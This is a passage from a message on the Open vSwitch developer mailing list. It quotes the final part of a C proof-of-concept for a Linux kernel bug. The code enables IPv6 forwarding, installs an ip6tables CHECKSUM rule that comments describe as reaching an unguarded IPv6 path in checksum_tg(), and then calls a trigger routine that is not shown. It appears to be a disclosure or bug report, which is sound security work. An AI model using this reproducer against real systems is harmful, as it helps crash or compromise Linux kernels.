> sysw("/proc/sys/net/ipv6/conf/all/forwarding", "1");
> sysw("/proc/sys/net/ipv6/conf/v0/forwarding", "1");
> sysw("/proc/sys/net/ipv6/conf/tun0/forwarding", "1");
>
> {
> int fd = open("/proc/sys/net/ipv6/conf/all/forwarding",
>      O_RDONLY);
> char v = '-';
>
> if (fd >= 0) {
> read(fd, &v, 1);
> close(fd);
> }
> printf("[*] netns forwarding=%c (must be 1)\n", v);
> }
>
> /* sink activation: xt_CHECKSUM at POSTROUTING.
> * checksum_tg() runs skb_checksum_help() for CHECKSUM_PARTIAL skbs,
> * and the ip_check_csum_start() guard applies to NFPROTO_IPV4 ONLY
> * (commit 6785011f8b16). NFPROTO_IPV6 == UNGUARDED.
> * A forwarded IPv6 packet matches this target before output. */
> {
> pid_t p = fork();
>
> if (p == 0) {
> char *a[] = { "ip6tables-legacy", "-t", "mangle",
>      "-A", "POSTROUTING", "-o", "v0",
>      "-j", "CHECKSUM",
>      "--checksum-fill", NULL };
> close(tunfd);
> execv("/bin/ip6tables-legacy", a);
> _exit(127);
> }
> int st = 0;
> waitpid(p, &st, 0);
> printf("[*] ip6tables CHECKSUM-fill rc=%s (want 0)\n",
>       WIFEXITED(st) ? (WEXITSTATUS(st) == 0 ? "0" : "ERR")
>     : "crash");
> }
>
> do_poc(tunfd, nl, idx_v0);
>
> close(tunfd);
> if (is_pid1) {
> fflush(stdout);
> syscall(SYS_reboot, LINUX_REBOOT_MAGIC1, LINUX_REBOOT_MAGIC2,
> LINUX_REBOOT_CMD_POWER_OFF);
> }
> return 0;
> }
> ------------------------------- >8 ----------------------------------
>
_______________________________________________
dev mailing list
[email protected]
https://mail.openvswitch.org/mailman/listinfo/ovs-dev

Reply via email to